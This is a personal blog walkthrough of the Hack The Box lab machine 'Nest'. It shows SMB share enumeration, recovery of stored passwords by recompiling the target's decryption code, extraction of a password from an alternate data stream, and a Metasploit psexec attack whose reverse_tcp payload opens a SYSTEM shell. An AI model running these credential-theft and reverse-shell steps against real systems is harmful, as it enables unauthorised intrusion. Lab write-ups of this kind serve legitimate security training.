Nanobyte Security | HTB Nest Walkthrough

HTB Nest Walkthrough



[ HTB_Walkthrough  smbclient  alternate_data_stream  reverse_engineer  ]

This is one of my favorite Hack the Box machines, throughout my time completing them! I absolutely enjoyed every minute of this box.

My first NMAP scan, running with multiple flags, failed. I performed a simple nmap scan, and it returned only one port open:

1
2
3
4
5
6
7
8
9
nmap 10.10.10.178                                                                                     
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:25 CST                                                      
Nmap scan report for 10.10.10.178                                                                                    
Host is up (0.043s latency).                                                                                         
Not shown: 999 filtered ports                                                                                        
PORT    STATE SERVICE                                                                                                
445/tcp open  microsoft-ds                                                                                           
                                                                                                                     
Nmap done: 1 IP address (1 host up) scanned in 5.41 seconds

In the above, with port 445 open, I then ran a scan against SMB. Server Message Block (also known as Samba) is a way for Windows to share files, printers, serial ports and communications abstractions such as named pipes and mail slots between computers.

1
2
3
4
5
6
7
8
9
10
11
12
smbclient -L //10.10.10.178
Enter WORKGROUP\root's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        Secure$         Disk      
        Users           Disk      
SMB1 disabled -- no workgroup available

The smbclient command showed that there were several network shares. Smbclient is a tool used for Samba, providing a ftp-like experience for users. I went through and connected to each, and found that I was able to login and find possible Usernames in the Users share. I took note of this, as this information is sure to come up later for this box:

1
2
3
4
5
6
7
8
9
10
11
12
13
smbclient \\\\10.10.10.178\\Users
Enter WORKGROUP\root's password: 

smb: \> dir
  .                                   D        0  Sat Jan 25 17:04:21 2020
  ..                                  D        0  Sat Jan 25 17:04:21 2020
  Administrator                       D        0  Fri Aug  9 10:08:23 2019
  C.Smith                             D        0  Sun Jan 26 01:21:44 2020
  L.Frost                             D        0  Thu Aug  8 12:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 12:02:50 2019
  TempUser                            D        0  Wed Aug  7 17:55:56 2019

                10485247 blocks of size 4096. 6449754 blocks available

I did attempt to access the user share listed, but access was denied for each of the directories. Continuing my enumeration of the network shares, I connected to Data, and found I could login to the Shared directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
smbclient \\\\10.10.10.178\\Data
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Aug  7 17:53:46 2019
  ..                                  D        0  Wed Aug  7 17:53:46 2019
  IT                                  D        0  Wed Aug  7 17:58:07 2019
  Production                          D        0  Mon Aug  5 16:53:38 2019
  Reports                             D        0  Mon Aug  5 16:53:44 2019
  Shared                              D        0  Wed Aug  7 14:07:51 2019

                10485247 blocks of size 4096. 6449754 blocks available

smb: \Reports\> cd ..\Shared
smb: \Shared\> dir
  .                                   D        0  Wed Aug  7 14:07:51 2019
  ..                                  D        0  Wed Aug  7 14:07:51 2019
  Maintenance                         D        0  Wed Aug  7 14:07:32 2019
  Templates                           D        0  Wed Aug  7 14:08:07 2019

                10485247 blocks of size 4096. 6449754 blocks available

In this directory, I found a file, Maintenance Alerts.txt. I used the get command to downlaod the file to my local box, and on my Kali Linux viewed the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
smb: \Shared\Maintenance\> dir
  .                                   D        0  Wed Aug  7 14:07:32 2019
  ..                                  D        0  Wed Aug  7 14:07:32 2019
  Maintenance Alerts.txt              A       48  Mon Aug  5 18:01:44 2019

                10485247 blocks of size 4096. 6449754 blocks available
                
smb: \Shared\Maintenance\> get "Maintenance Alerts.txt"
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)


root@bhax0r:~# cat 'Maintenance Alerts.txt'
There is currently no scheduled maintenance work

However, still nothing! I then went up one directory, and logged into the Templates directory and found another file, Welcome Email.txt. This sounded promising:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
smb: \Shared\Templates\HR\> dir
  .                                   D        0  Wed Aug  7 14:08:01 2019
  ..                                  D        0  Wed Aug  7 14:08:01 2019
  Welcome Email.txt                   A      425  Wed Aug  7 17:55:36 2019

                10485247 blocks of size 4096. 6449754 blocks available

smb: \Shared\Templates\HR\> get "Welcome Email.txt"
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (2.4 KiloBytes/sec) (average 0.9 KiloBytes/sec)



root@hax0r:~# cat 'Welcome Email.txt' 
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location: 
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the 
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you

And I found a possible set of credentials, tempuser:welcome2019! Noting the Users directory earlier, I logged back in with these credentials to that network share:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
smbclient \\\\10.10.10.178\\Users -U TempUser
Enter WORKGROUP\TempUser's password: 
Try "help" to get a list of possible commands.
smb: \> cd TempUser
smb: \TempUser\> dir
  .                                   D        0  Wed Aug  7 17:55:56 2019
  ..                                  D        0  Wed Aug  7 17:55:56 2019
  New Text Document.txt               A        0  Wed Aug  7 17:55:56 2019

                10485247 blocks of size 4096. 6449754 blocks available
                
smb: \TempUser\> get "New Text Document.txt"
getting file \TempUser\New Text Document.txt of size 0 as New Text Document.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)



root@hax0r:~# cat 'New Text Document.txt' 

However, this did not have any further information for me. I then attempted to login to the Users share with the other usernames, using the same password (users don’t always change default passwords) but this approach also did not work. So, I moved on and used these credentials agaisnt other shares. I did find that it allowed me into Secure$:

1
2
3
4
5
6
7
8
9
10
11
12
smbclient \\\\10.10.10.178\\Secure$ -U TempUser
Enter WORKGROUP\TempUser's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Aug  7 18:08:12 2019
  ..                                  D        0  Wed Aug  7 18:08:12 2019
  Finance                             D        0  Wed Aug  7 14:40:13 2019
  HR                                  D        0  Wed Aug  7 18:08:11 2019
  IT                                  D        0  Thu Aug  8 05:59:25 2019

                10485247 blocks of size 4096. 6449738 blocks available
 

But, there was nothing within that network share that I could use to my advantage. Moving on, I was able to log into the Data share with the tempuser credentials. I was able to find two interesting files in this share, RU_config.xml and config.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 smb: \IT\Configs\RU Scanner\> ls
  .                                   D        0  Wed Aug  7 15:01:13 2019
  ..                                  D        0  Wed Aug  7 15:01:13 2019
  RU_config.xml                       A      270  Thu Aug  8 14:49:37 2019

                10485247 blocks of size 4096. 6449935 blocks available
smb: \IT\Configs\RU Scanner\> get RU_config.xml 
getting file \IT\Configs\RU Scanner\RU_config.xml of size 270 as RU_config.xml (1.5 KiloBytes/sec) (average 17.6 KiloBytes/sec)


root@hax0r:~# cat RU_config.xml                                                                                                                                                                                                           
<?xml version="1.0"?>                                                                                                                                                                                                                      
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">      
  <Port>389</Port>                                                                                                                                                                                                                         
  <Username>c.smith</Username>                                                                                       
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
smb: \IT\Configs\NotepadPlusPlus\> ls
  .                                   D        0  Wed Aug  7 14:31:37 2019
  ..                                  D        0  Wed Aug  7 14:31:37 2019
  config.xml                          A     6451  Wed Aug  7 18:01:25 2019
  shortcuts.xml                       A     2108  Wed Aug  7 14:30:27 2019

                10485247 blocks of size 4096. 6449935 blocks available
smb: \IT\Configs\NotepadPlusPlus\> get config.xml 
getting file \IT\Configs\NotepadPlusPlus\config.xml of size 6451 as config.xml (37.5 KiloBytes/sec) (average 23.4 KiloBytes/sec)


root@hax0r:~# cat config.xml
...
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>
...

Neither of these looked like much at first, but there is relevant and important information. FIrst off, we have a username and password from the RU_config.xml. The second can be easily missed, and this is the second File filename variable in config.xml. I can see that in the network share Secure$, there is a Carl directory within the IT directory. In the RU_config.xml, there is a c.smith password, can this be Carl!?

I logged in and attempted to see if I could get to the Carl directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
smbclient \\\\10.10.10.178\\Secure$ -U TempUser                                                       
Enter WORKGROUP\TempUser's password: welcome2019
Try "help" to get a list of possible commands.                                                                       
smb: \> dir                                                                                                          
  .                                   D        0  Wed Aug  7 18:08:12 2019
  ..                                  D        0  Wed Aug  7 18:08:12 2019                                           
  Finance                             D        0  Wed Aug  7 14:40:13 2019
  HR                                  D        0  Wed Aug  7 18:08:11 2019                                                                                                                                                                 
  IT                                  D        0  Thu Aug  8 05:59:25 2019             
                                                                                                                     
                10485247 blocks of size 4096. 6449738 blocks available                                               
smb: \> cd IT                                                                                                        
smb: \IT\> dir                                                                                                       
NT_STATUS_ACCESS_DENIED listing \IT\*                                                                                
smb: \IT\> cd Carl                                                                                                   
smb: \IT\Carl\> dir                                                                                                  
  .                                   D        0  Wed Aug  7 14:42:14 2019
  ..                                  D        0  Wed Aug  7 14:42:14 2019
  Docs                                D        0  Wed Aug  7 14:44:00 2019
  Reports                             D        0  Tue Aug  6 08:45:40 2019
  VB Projects                         D        0  Tue Aug  6 09:41:55 2019

And that worked! Note above, that when I was in the Secure$\IT directory, I could not list the contents. However, I could still change into the Carl directory. Awesome! Enumerating these files, I found a RUScanner in VB Projects direcory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> dir
  .                                   D        0  Wed Aug  7 17:05:54 2019
  ..                                  D        0  Wed Aug  7 17:05:54 2019
  bin                                 D        0  Wed Aug  7 15:00:11 2019
  ConfigFile.vb                       A      772  Wed Aug  7 17:05:09 2019
  Module1.vb                          A      279  Wed Aug  7 17:05:44 2019
  My Project                          D        0  Wed Aug  7 15:00:11 2019
  obj                                 D        0  Wed Aug  7 15:00:11 2019
  RU Scanner.vbproj                   A     4828  Fri Aug  9 10:37:51 2019
  RU Scanner.vbproj.user              A      143  Tue Aug  6 07:55:27 2019
  SsoIntegration.vb                   A      133  Wed Aug  7 17:05:58 2019
  Utils.vb                            A     4888  Wed Aug  7 14:49:35 2019

                10485247 blocks of size 4096. 6449951 blocks available'

Looking at the Utils.vb file, there are encrypting and decrypting functions. Looking at how these functions work, there is reference to symmetric key creation, using Rfc2898DeriveBytes. Instead of trying to break this encryption, I took the complete file structure, and copied to a Windows machine. Once I had it locally, I was able to compile the code using Visual Studio.

Once compiled and I attempted to run the file, there was an error message:

1
Unhandled Exception: System.IO.FileNotFoundException: Could not find file 'C:\Users\adalzell\Desktop\Nest\RUScanner\bin\Debug\RU_Config.xml'

Having RU_config.xml file, which contains the hash string that looked like base 64, I placed that file into the directory, and when I ran it, the program ran without any exception errors. I then placed a single line of code to write to console the Plain Text in the Utils.vb decrypt function:

1
2
3
4
5
Public Shared Function Decrypt(ByVal cipherText As String, _
... 
        Console.WriteLine(plainText)
        Return plainText
...

And with that, when I compiled the code again, I could see the plain text password:

1
2
\RUScanner\bin\Debug>DbPof.exe
xRxRxPANCAK3SxRxRx

Now, I am able to connect to the Users share and own user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
smbclient \\\\10.10.10.178\\Users -U C.Smith
Enter WORKGROUP\C.Smith's password: xRxRxPANCAK3SxRxRx

smb: \> cd C.Smith
smb: \C.Smith\> ls
  .                                   D        0  Sun Jan 26 01:21:44 2020
  ..                                  D        0  Sun Jan 26 01:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 18:06:17 2019
  user.txt                            A       32  Thu Aug  8 18:05:24 2019

                10485247 blocks of size 4096. 6449757 blocks available
smb: \C.Smith\> get user.txt
getting file \C.Smith\user.txt of size 32 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)


root@hax0r:~# cat user.txt 
xxxxxxxxxxxxxxx4fd827e05f426e987

Now to move on to own root. I looked in the HQK Reporting directory, and found a password file:

1
2
3
4
5
6
7
8
smb: \C.Smith\HQK Reporting\> ls
  .                                   D        0  Thu Aug  8 18:06:17 2019
  ..                                  D        0  Thu Aug  8 18:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 07:18:42 2019
  Debug Mode Password.txt             A        0  Thu Aug  8 18:08:17 2019
  HQK_Config_Backup.xml               A      249  Thu Aug  8 18:09:05 2019

                10485247 blocks of size 4096. 6449725 blocks available

But, it was empty. That would have been to easy! However, looking at the file attributes, there is a stream associated to it, so I copied of the Alternate Data Stream (ADS) to get the password file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 06:06:12 PM 2019 CDT
access_time:    Thu Aug  8 06:06:12 PM 2019 CDT
write_time:     Thu Aug  8 06:08:17 PM 2019 CDT
change_time:    Thu Aug  8 06:08:17 PM 2019 CDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"


root@hax0r:~# cat "/root/Debug Mode Password.txt:Password" 
WBQ201953D8w 

With this password, I can telnet into the box and enable Debug:

1
2
3
4
5
6
7
8
9
10
telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>debug WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available

Still connected with this telnet session, I enumerated and going up one directory, in the LDAP directory, I found a config file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>list  

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP
>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

Using the RU_config.xml I attempted to decrypt returned a padding error. Looking further into the KqdLdap.exe, I found the following code in the CR function:

1
2
3
4
5
6
7
8
' HqkLdap.CR
' Token: 0x06000012 RID: 18 RVA: 0x00002278 File Offset: 0x00000678
Public Shared Function DS(EncryptedString As String) As String
	If String.IsNullOrEmpty(EncryptedString) Then
		Return String.Empty
	End If
	Return CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256)
End Function

This is a different set of encryption, different IV, string, and iteration. So, I placed this into the Decryption function of DbPof.exe, and with the administrator hash in the RU_config.xml file, I reran the DbProf.exe program from command prompt, and got the administrator password!

1
2
DbPof.exe
XtH4nkS4Pl4y1nGX

I connected to SMB Share, but there was a shortcut link to the admins desktop. This was no good. So, I used metasploit (after multiple failed attempts with evil-winrm, impacket psexec.py, and winexec) psexec with reverse_tcp payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp        

msf5 exploit(windows/smb/psexec) > set LHOST 10.10.14.13
LHOST => 10.10.14.13
msf5 exploit(windows/smb/psexec) > set LPORT 4538
LPORT => 4538
msf5 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.178
RHOSTS => 10.10.10.178
msf5 exploit(windows/smb/psexec) > set SMBUser
SMBUser => 
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass XtH4nkS4Pl4y1nGX
SMBPass => XtH4nkS4Pl4y1nGX

msf5 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4538 
[*] 10.10.10.178:445 - Connecting to the server...
[*] 10.10.10.178:445 - Authenticating to 10.10.10.178:445 as user 'Administrator'...
[*] 10.10.10.178:445 - Selecting PowerShell target
[*] 10.10.10.178:445 - Executing the payload...
[+] 10.10.10.178:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 10.10.10.178
[*] Meterpreter session 1 opened (10.10.14.13:4538 -> 10.10.10.178:49157) at 2020-01-29 14:28:29 -0600

meterpreter > shell
Process 1456 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd C:\users\administrator\desktop
cd C:\users\administrator\desktop

C:\Users\Administrator\Desktop>more root.txt
more root.txt
xxxxxxxxxxxxxxxxxxx08a42f0b94b878c41

And rooted this box! The name, Nest, really fits this complex set of steps, nesting each step to proceed. Thanks for reading!

[ HTB_Walkthrough  smbclient  alternate_data_stream  reverse_engineer  ]